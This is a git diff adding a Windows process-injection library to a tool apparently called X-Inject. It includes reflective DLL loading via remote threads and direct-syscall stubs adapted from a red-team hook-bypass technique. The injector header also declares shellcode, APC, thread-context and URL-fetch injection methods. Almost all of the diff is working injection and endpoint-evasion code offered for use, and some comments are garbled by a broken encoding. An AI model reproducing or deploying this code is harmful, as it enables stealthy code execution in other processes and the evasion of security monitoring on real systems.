Sw3NtCreateThreadEx(&hThread, 0x1FFFFF, NULL, hProcess, (LPTHREAD_START_ROUTINE)lpReflectiveLoader, pBase, FALSE, NULL, NULL, NULL, NULL); + if (hThread == INVALID_HANDLE_VALUE || hThread == NULL || status != STATUS_SUCCESS) { + VirtualFreeEx(hProcess, pBase, (SIZE_T)dwFileSize + 1, MEM_COMMIT); + if (hFile != NULL) + CloseHandle(hFile); + CloseHandle(hProcess); + return; + } +#else +#ifdef _WIN32 + // Win32 dont support syscall yet + hThread = CreateRemoteThread(hProcess, NULL, 1024 * 1024, lpReflectiveLoader, pBase, (DWORD)NULL, NULL); + if (hThread == INVALID_HANDLE_VALUE || hThread == NULL) { + //delete[] buffer; + VirtualFreeEx(hProcess, pBase, (SIZE_T)dwFileSize + 1, MEM_COMMIT); + CloseHandle(hFile); + CloseHandle(hProcess); + return; + } +#endif // _WIN32 + +#endif // _WIN64 + + + WaitForSingleObject(hThread, 500); + + VirtualFreeEx(hProcess, pBase, (SIZE_T)dwFileSize + 1, MEM_COMMIT); + if (hFile != NULL) + CloseHandle(hFile); + CloseHandle(hProcess); + CloseHandle(hThread); +} + +DWORD Injector::dwGetOffset(HANDLE Image, CHAR* FuncName) { + // ���δ���ο�����������ʽDLLע����Ŀ + // https://github.com/stephenfewer/ReflectiveDLLInjection + + + UINT_PTR uiBaseAddress = 0; + UINT_PTR uiExportDir = 0; + UINT_PTR uiNameArray = 0; + UINT_PTR uiAddressArray = 0; + UINT_PTR uiNameOrdinals = 0; + DWORD dwCounter = 0; + + uiBaseAddress = (UINT_PTR)Image; + // get the File Offset of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + // uiNameArray = the address of the modules export directory entry + uiNameArray = (UINT_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + + // get the File Offset of the export directory + uiExportDir = uiBaseAddress + this->Rva2Offset(((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress); + + // get the File Offset for the array of name pointers + uiNameArray = uiBaseAddress + this->Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames, uiBaseAddress); + + // get the File Offset for the array of addresses + uiAddressArray = uiBaseAddress + this->Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions, uiBaseAddress); + + // get the File Offset for the array of name ordinals + uiNameOrdinals = uiBaseAddress + this->Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals, uiBaseAddress); + + // get a counter for the number of exported functions... + dwCounter = ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->NumberOfNames; + + // loop through all the exported functions to find the ReflectiveLoader + while (dwCounter--) + { + char* cpExportedFunctionName = (char*)(uiBaseAddress + this->Rva2Offset(DEREF_32(uiNameArray), uiBaseAddress)); + + //����Ϳ�ʼ�Ƚϵ��������ĺ������� + //if (strstr(cpExportedFunctionName, "ReflectiveLoader") != NULL) + if (strstr(cpExportedFunctionName, FuncName) != NULL) + { + // get the File Offset for the array of addresses + uiAddressArray = uiBaseAddress + this->Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions, uiBaseAddress); + + // use the functions name ordinal as an index into the array of name pointers + uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); + + // return the File Offset to the ReflectiveLoader() functions code... + return this->Rva2Offset(DEREF_32(uiAddressArray), uiBaseAddress); + } + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + + return 0; +} + +DWORD Injector::Rva2Offset(DWORD dwRva, UINT_PTR uiBaseAddress) +{ + WORD wIndex = 0; + PIMAGE_SECTION_HEADER pSectionHeader = NULL; + PIMAGE_NT_HEADERS pNtHeaders = NULL; + + pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); + + pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader); + + if (dwRva < pSectionHeader[0].PointerToRawData) + return dwRva; + + for (wIndex = 0; wIndex < pNtHeaders->FileHeader.NumberOfSections; wIndex++) + { + if (dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData)) + return (dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData); + } + + return 0; +} + + + diff --git a/InjectLib/app/Injector.h b/InjectLib/app/Injector.h new file mode 100644 index 0000000..ecd122b --- /dev/null +++ b/InjectLib/app/Injector.h @@ -0,0 +1,72 @@ +#pragma once + +#include "./utils/query.hpp" + +#include +#include +#include +#include +#include + +#define DEREF( name )*(UINT_PTR *)(name) +#define DEREF_64( name )*(DWORD64 *)(name) +#define DEREF_32( name )*(DWORD *)(name) +#define DEREF_16( name )*(WORD *)(name) +#define DEREF_8( name )*(BYTE *)(name) + +#define STATUS_SUCCESS 0x00000000L + + +typedef struct _ProcessInfo +{ + DWORD pid; + std::wstring processName; +}ProcessInfo, * pProcessInfo; + +class Injector +{ +public: + typedef void (Injector::* CallbackFunction)(DWORD pid); //�ص����� + +private: + CallbackFunction callback_; + std::string DllPath; + bool exist; + + HMODULE hNtDll; + + fnNtQuerySystemInformation NtQuerySystemInformation; + +public: + Injector(std::string dll_path); + Injector(); + ~Injector(); + void unInject(DWORD pid); + + void remoteThreadInject(DWORD pid); + void reflectInject(DWORD pid); + void apcInject(DWORD pid); + void fiberInject(DWORD pid);//TODO + void internetInject(DWORD pid, std::string url); + + + std::vector injectList(); + + void shellcodeInject(std::string basedsc, DWORD pid); + void apcShellcodeInject(std::string basedsc, DWORD pid); + void contextShellcodeInject(std::string basedsc, DWORD pid); + + void dllPathSetter(std::string dll_path); + void callBackSetter(CallbackFunction InjecMethod); + DWORD getPidByName(LPCSTR procName); + +private: + bool bFileExists(std::string filePath); + bool bPreInjectCheck(DWORD pid); + bool bInjectable(DWORD pid); + bool bGetModule(DWORD pid, MODULEENTRY32& result); + void atomReflectInject(DWORD pid, std::string url =""); + + DWORD dwGetOffset(HANDLE Image, CHAR* FuncName); + DWORD Rva2Offset(DWORD dwRva, UINT_PTR uiBaseAddress); +}; \ No newline at end of file diff --git a/InjectLib/app/S-Wisper-asm.x64.asm b/InjectLib/app/S-Wisper-asm.x64.asm new file mode 100644 index 0000000..8925e9b --- /dev/null +++ b/InjectLib/app/S-Wisper-asm.x64.asm @@ -0,0 +1,23 @@ +.code + +EXTERN SW3_GetSyscallNumber: PROC + +Sw3NtCreateThreadEx PROC + mov [rsp +8], rcx ; Save registers. + mov [rsp+16], rdx + mov [rsp+24], r8 + mov [rsp+32], r9 + sub rsp, 28h + mov ecx, 084A94AFEh ; Load function hash into ECX. + call SW3_GetSyscallNumber ; Resolve function hash into syscall number. + add rsp, 28h + mov rcx, [rsp+8] ; Restore registers. + mov rdx, [rsp+16] + mov r8, [rsp+24] + mov r9, [rsp+32] + mov r10, rcx + syscall ; Invoke system call. + ret +Sw3NtCreateThreadEx ENDP + +end \ No newline at end of file diff --git a/InjectLib/app/S-Wisper.c b/InjectLib/app/S-Wisper.c new file mode 100644 index 0000000..6aa09ae --- /dev/null +++ b/InjectLib/app/S-Wisper.c @@ -0,0 +1,278 @@ +#include "S-Wisper.h" +#include + +//#define DEBUG + +// JUMPER + +#ifdef _M_IX86 + +EXTERN_C PVOID internal_cleancall_wow64_gate(VOID) { + return (PVOID)__readfsdword(0xC0); +} + +__declspec(naked) BOOL local_is_wow64(void) +{ + __asm { + mov eax, fs:[0xc0] + test eax, eax + jne wow64 + mov eax, 0 + ret + wow64: + mov eax, 1 + ret + } +} + + +#endif + +// Code below is adapted from @modexpblog. Read linked article for more details. +// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams + +SW3_SYSCALL_LIST SW3_SyscallList; + +// SEARCH_AND_REPLACE +#ifdef SEARCH_AND_REPLACE +// THIS IS NOT DEFINED HERE; don't know if I'll add it in a future release +EXTERN void SearchAndReplace(unsigned char[], unsigned char[]); +#endif + +DWORD SW3_HashSyscall(PCSTR FunctionName) +{ + DWORD i = 0; + DWORD Hash = SW3_SEED; + + while (FunctionName[i]) + { + WORD PartialName = *(WORD*)((ULONG_PTR)FunctionName + i++); + Hash ^= PartialName + SW3_ROR8(Hash); + } + + return Hash; +} + +#ifndef JUMPER +PVOID SC_Address(PVOID NtApiAddress) +{ + return NULL; +} +#else +PVOID SC_Address(PVOID NtApiAddress) +{ + DWORD searchLimit = 512; + PVOID SyscallAddress; + + #ifdef _WIN64 + // If the process is 64-bit on a 64-bit OS, we need to search for syscall + BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 }; + ULONG distance_to_syscall = 0x12; + #else + // If the process is 32-bit on a 32-bit OS, we need to search for sysenter + BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 }; + ULONG distance_to_syscall = 0x0f; + #endif + + #ifdef _M_IX86 + // If the process is 32-bit on a 64-bit OS, we need to jump to WOW32Reserved + if (local_is_wow64()) + { + #ifdef DEBUG + printf("[+] Running 32-bit app on x64 (WOW64)\n"); + #endif + return NULL; + } + #endif + + // we don't really care if there is a 'jmp' between + // NtApiAddress and the 'syscall; ret' instructions + SyscallAddress = SW3_RVA2VA(PVOID, NtApiAddress, distance_to_syscall); + + if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) + { + // we can use the original code for this system call :) + #if defined(DEBUG) + printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); + #endif + return SyscallAddress; + } + + // the 'syscall; ret' intructions have not been found, + // we will try to use one near it, similarly to HalosGate + + for (ULONG32 num_jumps = 1; num_jumps < searchLimit; num_jumps++) + { + // let's try with an Nt* API below our syscall + SyscallAddress = SW3_RVA2VA( + PVOID, + NtApiAddress, + distance_to_syscall + num_jumps * 0x20); + if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) + { + #if defined(DEBUG) + printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); + #endif + return SyscallAddress; + } + + // let's try with an Nt* API above our syscall + SyscallAddress = SW3_RVA2VA( + PVOID, + NtApiAddress, + distance_to_syscall - num_jumps * 0x20); + if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) + { + #if defined(DEBUG) + printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); + #endif + return SyscallAddress; + } + } + +#ifdef DEBUG + printf("Syscall Opcodes not found!\n"); +#endif + + return NULL; +} +#endif + + +BOOL SW3_PopulateSyscallList() +{ + // Return early if the list is already populated. + if (SW3_SyscallList.Count) return TRUE; + + #ifdef _WIN64 + PSW3_PEB Peb = (PSW3_PEB)__readgsqword(0x60); + #else + PSW3_PEB Peb = (PSW3_PEB)__readfsdword(0x30); + #endif + PSW3_PEB_LDR_DATA Ldr = Peb->Ldr; + PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL; + PVOID DllBase = NULL; + + // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second + // in the list, so it's safer to loop through the full list and find it. + PSW3_LDR_DATA_TABLE_ENTRY LdrEntry; + for (LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0]) + { + DllBase = LdrEntry->DllBase; + PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase; + PIMAGE_NT_HEADERS NtHeaders = SW3_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew); + PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory; + DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; + if (VirtualAddress == 0) continue; + + ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW3_RVA2VA(ULONG_PTR, DllBase, VirtualAddress); + + // If this is NTDLL.dll, exit loop. + PCHAR DllName = SW3_RVA2VA(PCHAR, DllBase, ExportDirectory->Name); + + if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue; + if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break; + } + + if (!ExportDirectory) return FALSE; + + DWORD NumberOfNames = ExportDirectory->NumberOfNames; + PDWORD Functions = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions); + PDWORD Names = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames); + PWORD Ordinals = SW3_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals); + + // Populate SW3_SyscallList with unsorted Zw* entries. + DWORD i = 0; + PSW3_SYSCALL_ENTRY Entries = SW3_SyscallList.Entries; + do + { + PCHAR FunctionName = SW3_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]); + + // Is this a system call? + if (*(USHORT*)FunctionName == 0x775a) + { + Entries[i].Hash = SW3_HashSyscall(FunctionName); + Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]]; + Entries[i].SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, DllBase, Entries[i].Address)); + + i++; + if (i == SW3_MAX_ENTRIES) break; + } + } while (--NumberOfNames); + + // Save total number of system calls found. + SW3_SyscallList.Count = i; + + // Sort the list by address in ascending order. + for (DWORD i = 0; i < SW3_SyscallList.Count - 1; i++) + { + for (DWORD j = 0; j < SW3_SyscallList.Count - i - 1; j++) + { + if (Entries[j].Address > Entries[j + 1].Address) + { + // Swap entries. + SW3_SYSCALL_ENTRY TempEntry; + + TempEntry.Hash = Entries[j].Hash; + TempEntry.Address = Entries[j].Address; + TempEntry.SyscallAddress = Entries[j].SyscallAddress; + + Entries[j].Hash = Entries[j + 1].Hash; + Entries[j].Address = Entries[j + 1].Address; + Entries[j].SyscallAddress = Entries[j + 1].SyscallAddress; + + Entries[j + 1].Hash = TempEntry.Hash; + Entries[j + 1].Address = TempEntry.Address; + Entries[j + 1].SyscallAddress = TempEntry.SyscallAddress; + } + } + } + + return TRUE; +} + +EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash) +{ + // Ensure SW3_SyscallList is populated. + if (!SW3_PopulateSyscallList()) return -1; + + for (DWORD i = 0; i < SW3_SyscallList.Count; i++) + { + if (FunctionHash == SW3_SyscallList.Entries[i].Hash) + { + return i; + } + } + + return -1; +} + +EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash) +{ + // Ensure SW3_SyscallList is populated. + if (!SW3_PopulateSyscallList()) return NULL; + + for (DWORD i = 0; i < SW3_SyscallList.Count; i++) + { + if (FunctionHash == SW3_SyscallList.Entries[i].Hash) + { + return SW3_SyscallList.Entries[i].SyscallAddress; + } + } + + return NULL; +} + +EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash) +{ + // Ensure SW3_SyscallList is populated. + if (!SW3_PopulateSyscallList()) return NULL; + + DWORD index = ((DWORD) rand()) % SW3_SyscallList.Count; + + while (FunctionHash == SW3_SyscallList.Entries[index].Hash){ + // Spoofing the syscall return address + index = ((DWORD) rand()) % SW3_SyscallList.Count; + } + return SW3_SyscallList.Entries[index].SyscallAddress; +} diff --git a/InjectLib/app/S-Wisper.h b/InjectLib/app/S-Wisper.h new file mode 100644 index 0000000..ba8e6c5 --- /dev/null +++ b/InjectLib/app/S-Wisper.h @@ -0,0 +1,123 @@ +#pragma once +// Code below is adapted from @modexpblog. Read linked article for more details. +// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams + +#ifndef SW3_HEADER_H_ +#define SW3_HEADER_H_ + +#include +#include + +#ifndef _NTDEF_ +typedef _Return_type_success_(return >= 0) LONG NTSTATUS; +typedef NTSTATUS* PNTSTATUS; +#endif + +#define SW3_SEED 0xEB0CA24D +#define SW3_ROL8(v) (v << 8 | v >> 24) +#define SW3_ROR8(v) (v >> 8 | v << 24) +#define SW3_ROX8(v) ((SW3_SEED % 2) ? SW3_ROL8(v) : SW3_ROR8(v)) +#define SW3_MAX_ENTRIES 600 +#define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva) + +// Typedefs are prefixed to avoid pollution. + +typedef struct _SW3_SYSCALL_ENTRY +{ + DWORD Hash; + DWORD Address; + PVOID SyscallAddress; +} SW3_SYSCALL_ENTRY, *PSW3_SYSCALL_ENTRY; + +typedef struct _SW3_SYSCALL_LIST +{ + DWORD Count; + SW3_SYSCALL_ENTRY Entries[SW3_MAX_ENTRIES]; +} SW3_SYSCALL_LIST, *PSW3_SYSCALL_LIST; + +typedef struct _SW3_PEB_LDR_DATA { + BYTE Reserved1[8]; + PVOID Reserved2[3]; + LIST_ENTRY InMemoryOrderModuleList; +} SW3_PEB_LDR_DATA, *PSW3_PEB_LDR_DATA; + +typedef struct _SW3_LDR_DATA_TABLE_ENTRY { + PVOID Reserved1[2]; + LIST_ENTRY InMemoryOrderLinks; + PVOID Reserved2[2]; + PVOID DllBase; +} SW3_LDR_DATA_TABLE_ENTRY, *PSW3_LDR_DATA_TABLE_ENTRY; + +typedef struct _SW3_PEB { + BYTE Reserved1[2]; + BYTE BeingDebugged; + BYTE Reserved2[1]; + PVOID Reserved3[2]; + PSW3_PEB_LDR_DATA Ldr; +} SW3_PEB, *PSW3_PEB; + +DWORD SW3_HashSyscall(PCSTR FunctionName); +BOOL SW3_PopulateSyscallList(); +EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash); +EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash); +EXTERN_C PVOID internal_cleancall_wow64_gate(VOID); +typedef struct _PS_ATTRIBUTE +{ + ULONG Attribute; + SIZE_T Size; + union + { + ULONG Value; + PVOID ValuePtr; + } u1; + PSIZE_T ReturnLength; +} PS_ATTRIBUTE, *PPS_ATTRIBUTE; + +#ifndef InitializeObjectAttributes +#define InitializeObjectAttributes( p, n, a, r, s ) { \ + (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ + (p)->RootDirectory = r; \ + (p)->Attributes = a; \ + (p)->ObjectName = n; \ + (p)->SecurityDescriptor = s; \ + (p)->SecurityQualityOfService = NULL; \ +} +#endif + +typedef struct _UNICODE_STRING_A +{ + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRINGA, *PUNICODE_STRINGA; + +typedef struct _OBJECT_ATTRIBUTES_A +{ + ULONG Length; + HANDLE RootDirectory; + UNICODE_STRINGA ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +} OBJECT_ATTRIBUTESA, *POBJECT_ATTRIBUTESA; + +typedef struct _PS_ATTRIBUTE_LIST +{ + SIZE_T TotalLength; + PS_ATTRIBUTE Attributes[1]; +} PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST; + +EXTERN_C NTSTATUS Sw3NtCreateThreadEx( + OUT PHANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, + IN HANDLE ProcessHandle, + IN PVOID StartRoutine, + IN PVOID Argument OPTIONAL, + IN ULONG CreateFlags, + IN SIZE_T ZeroBits, + IN SIZE_T StackSize, + IN SIZE_T MaximumStackSize, + IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL); + +#endif diff --git a/InjectLib/app/utils/crypto.hpp b/InjectLib/app/utils/crypto.hpp new file mode 100644 index 0000000..039d808 --- /dev/null +++ b/InjectLib/app/utils/crypto.hpp @@ -0,0 +1,38 @@ +#pragma once + +#include +#include +#include +#include + + +namespace Crypto { + std::string Base64Decode(std::string EncodedStr) { + DWORD decodedSize = 0; + + if (!CryptStringToBinaryA(EncodedStr.c_str(), 0, CRYPT_STRING_BASE64, nullptr, &decodedSize, nullptr, nullptr)) { + return ""; + } + + std::vector decodedData(decodedSize); + + if (!CryptStringToBinaryA(EncodedStr.c_str(), 0, CRYPT_STRING_BASE64, decodedData.data(), &decodedSize, nullptr, nullptr)) { + return ""; + } + return std::string(decodedData.begin(), decodedData.end()); + } + + std::string Base64Encode(const std::vector& data) { + DWORD encodedSize = 0; + if (!CryptBinaryToStringA(data.data(), data.size(), CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, NULL, &encodedSize)) { + return ""; + } + + std::vector encodedData(encodedSize); + if (!CryptBinaryToStringA(data.data(), data.size(), CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, encodedData.data(), &encodedSize)) { + return ""; + } + + return std::string(encodedData.data(), encodedSize); + } +} \ No newline at end of file diff --git a/InjectLib/app/utils/query.hpp b/InjectLib/app/utils/query.hpp new file mode 100644 index 0000000..99218b5 --- /dev/null +++ b/InjectLib/app/utils/query.hpp @@ -0,0 +1,102 @@ +#pragma once +#include +#include +// NtQuerySystemInformation +typedef enum _KWAIT_REASON { + Executive, + FreePage, + PageIn, + PoolAllocation, + DelayExecution, + Suspended, + UserRequest, + WrExecutive, + WrFreePage, + WrPageIn, + WrPoolAllocation, + WrDelayExecution, + WrSuspended, + WrUserRequest, + WrEventPair, + WrQueue, + WrLpcReceive, + WrLpcReply, + WrVirtualMemory, + WrPageOut, + WrRendezvous, + WrKeyedEvent, + WrTerminated, + WrProcessInSwap, + WrCpuRateControl, + WrCalloutStack, + WrKernel, + WrResource, + WrPushLock, + WrMutex, + WrQuantumEnd, + WrDispatchInt, + WrPreempted, + WrYieldExecution, + WrFastMutex, + WrGuardedMutex, + WrRundown, + WrAlertByThreadId, + WrDeferredPreempt, + MaximumWaitReason +} KWAIT_REASON; + +typedef NTSTATUS(WINAPI* fnNtQuerySystemInformation)( + SYSTEM_INFORMATION_CLASS SystemInformationClass, + PVOID SystemInformation, + ULONG SystemInformationLength, + PULONG ReturnLength); + +// ���� SYSTEM_PROCESS_INFORMATION �ṹ +typedef struct _SYSTEM_THREADS { + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER CreateTime; + ULONG WaitTime; + PVOID StartAddress; + CLIENT_ID ClientId; + KPRIORITY Priority; + LONG BasePriority; + ULONG ContextSwitchCount; + ULONG State; + KWAIT_REASON WaitReason; +} SYSTEM_THREADS, * PSYSTEM_THREADS; + +typedef struct _SYSTEM_PROC_INFORMATION { + ULONG NextEntryOffset; + ULONG NumberOfThreads; + LARGE_INTEGER Reserved[3]; + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ImageName; + KPRIORITY BasePriority; + HANDLE ProcessId; + HANDLE InheritedFromProcessId; + ULONG HandleCount; + ULONG SessionId; + ULONG_PTR UniqueProcessKey; + SIZE_T PeakVirtualSize; + SIZE_T VirtualSize; + ULONG PageFaultCount; + SIZE_T PeakWorkingSetSize; + SIZE_T WorkingSetSize; + SIZE_T QuotaPeakPagedPoolUsage; + SIZE_T QuotaPagedPoolUsage; + SIZE_T QuotaPeakNonPagedPoolUsage; + SIZE_T QuotaNonPagedPoolUsage; + SIZE_T PagefileUsage; + SIZE_T PeakPagefileUsage; + SIZE_T PrivatePageCount; + LARGE_INTEGER ReadOperationCount; + LARGE_INTEGER WriteOperationCount; + LARGE_INTEGER OtherOperationCount; + LARGE_INTEGER ReadTransferCount; + LARGE_INTEGER WriteTransferCount; + LARGE_INTEGER OtherTransferCount; + SYSTEM_THREADS Threads[1]; +} MySYSTEM_PROCESS_INFORMATION, * PMySYSTEM_PROCESS_INFORMATION; \ No newline at end of file diff --git a/InjectLib/cpp.hint b/InjectLib/cpp.hint new file mode 100644 index 0000000..601563f --- /dev/null +++ b/InjectLib/cpp.hint @@ -0,0 +1,2 @@ +#define INJECTLIB_API __declspec(dllexport) +#define INJECTLIB_API __declspec(dllimport) diff --git a/InjectLib/dllmain.cpp b/InjectLib/dllmain.cpp new file mode 100644 index 0000000..daed8c8 --- /dev/null +++ b/InjectLib/dllmain.cpp @@ -0,0 +1,19 @@ +// dllmain.cpp : 定义 DLL 应用程序的入口点。 +#include "pch.h" + +BOOL APIENTRY DllMain( HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} + diff --git a/InjectLib/framework.h b/InjectLib/framework.h new file mode 100644 index 0000000..80cbbc9 --- /dev/null +++ b/InjectLib/framework.h @@ -0,0 +1,5 @@ +#pragma once + +#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容 +// Windows 头文件 +#include diff --git a/InjectLib/pch.cpp b/InjectLib/pch.cpp new file mode 100644 index 0000000..b6fb8f4 --- /dev/null +++ b/InjectLib/pch.cpp @@ -0,0 +1,5 @@ +// pch.cpp: 与预编译标头对应的源文件 + +#include "pch.h" + +// 当使用预编译的头时,需要使用此源文件,编译才能成功。 diff --git a/InjectLib/pch.h b/InjectLib/pch.h new file mode 100644 index 0000000..fc7d36d --- /dev/null +++ b/InjectLib/pch.h @@ -0,0 +1,7 @@ +#ifndef PCH_H +#define PCH_H + +// 添加要在此处预编译的标头 +#include "framework.h" + +#endif //PCH_H diff --git a/InjectLib/test/dll_test.py b/InjectLib/test/dll_test.py new file mode 100644 index 0000000..5e98f49 --- /dev/null +++ b/InjectLib/test/dll_test.py @@ -0,0 +1,13 @@ +import ctypes + +# 加载 DLL(路径根据实际情况) +dll = ctypes.WinDLL("./InjectLib.dll") + +# 声明函数:GetPIDByProcessName +dll.getPID.argtypes = [ctypes.c_char_p] # 参数是 const char* +dll.getPID.restype = ctypes.c_uint32 # 返回 DWORD(uint32) +# 传入进程名,比如 notepad.exe +process_name = b"x64dbg" # 注意要是 bytes 类型 +pid = dll.getPID(process_name) + +print(f"PID of {process_name.decode()}: {pid}") diff --git a/README.md b/README.md index 24c0333..1b46b65 100644 --- a/README.md +++ b/README.md @@ -19,6 +19,8 @@ # Update +- **[2025-4-6]** **重要:** 新创建分支(branch):mcp,今后的MCP server和lib(dll)版本在这个分支下 +======= - **[2025-4-6]** **重要:** 新创建分支(branch):**mcp**,今后的MCP server和lib(dll)版本在这个分支下 - **[2025-4-3]** 使用gui界面时自动生成`imgui.ini`,优化界面排版 @@ -147,8 +149,3 @@ ![image-20240520101704029](./README.assets/image-20240520101704029.png) 最后点击`start`开始注入 - - - - - diff --git a/X-Inject.sln b/X-Inject.sln index c68db15..81e30d0 100644 --- a/X-Inject.sln +++ b/X-Inject.sln @@ -3,7 +3,9 @@ Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 17 VisualStudioVersion = 17.9.34902.65 MinimumVisualStudioVersion = 10.0.40219.1 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "X-Inject", "X-Inject\X-Inject.vcxproj", "{1360A187-B6B2-474B-904A-7DCCA715E16B}" +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "S-Inject", "X-Inject\X-Inject.vcxproj", "{1360A187-B6B2-474B-904A-7DCCA715E16B}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "InjectLib", "InjectLib\InjectLib.vcxproj", "{DAE5DCC7-F89A-4265-AA2B-BBF9FB48C96E}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution @@ -21,6 +23,14 @@ Global {1360A187-B6B2-474B-904A-7DCCA715E16B}.Release|x64.Build.0 = Release|x64 {1360A187-B6B2-474B-904A-7DCCA715E16B}.Release|x86.ActiveCfg = Release|Win32 {1360A187-B6B2-474B-904A-7DCCA715E16B}.Release|x86.Build.0 = Release|Win32 + {DAE5DCC7-F89A-4265-AA2B-BBF9FB48C96E}.Debug|x64.ActiveCfg = Debug|x64 + {DAE5DCC7-F89A-4265-AA2B-BBF9FB48C96E}.Debug|x64.Build.0 = Debug|x64 + {DAE5DCC7-F89A-4265-AA2B-BBF9FB48C96E}.Debug|x86.ActiveCfg = Debug|Win32 + {DAE5DCC7-F89A-4265-AA2B-BBF9FB48C96E}.Debug|x86.Build.0 = Debug|Win32 + {DAE5DCC7-F89A-4265-AA2B-BBF9FB48C96E}.Release|x64.ActiveCfg = Release|x64 + {DAE5DCC7-F89A-4265-AA2B-BBF9FB48C96E}.Release|x64.Build.0 = Release|x64 + {DAE5DCC7-F89A-4265-AA2B-BBF9FB48C96E}.Release|x86.ActiveCfg = Release|Win32 + {DAE5DCC7-F89A-4265-AA2B-BBF9FB48C96E}.Release|x86.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE diff --git a/X-Inject/app/utils/query.hpp b/X-Inject/app/utils/query.hpp index 310dfa2..8f7f994 100644 --- a/X-Inject/app/utils/query.hpp +++ b/X-Inject/app/utils/query.hpp @@ -1,7 +1,7 @@ #pragma once #include #include -// NtQuerySystemInformation ָ +// ���� NtQuerySystemInformation ����ָ������ typedef enum _KWAIT_REASON { Executive, FreePage, @@ -51,7 +51,7 @@ typedef NTSTATUS(WINAPI* fnNtQuerySystemInformation)( ULONG SystemInformationLength, PULONG ReturnLength); -// SYSTEM_PROCESS_INFORMATION ṹ +// ���� 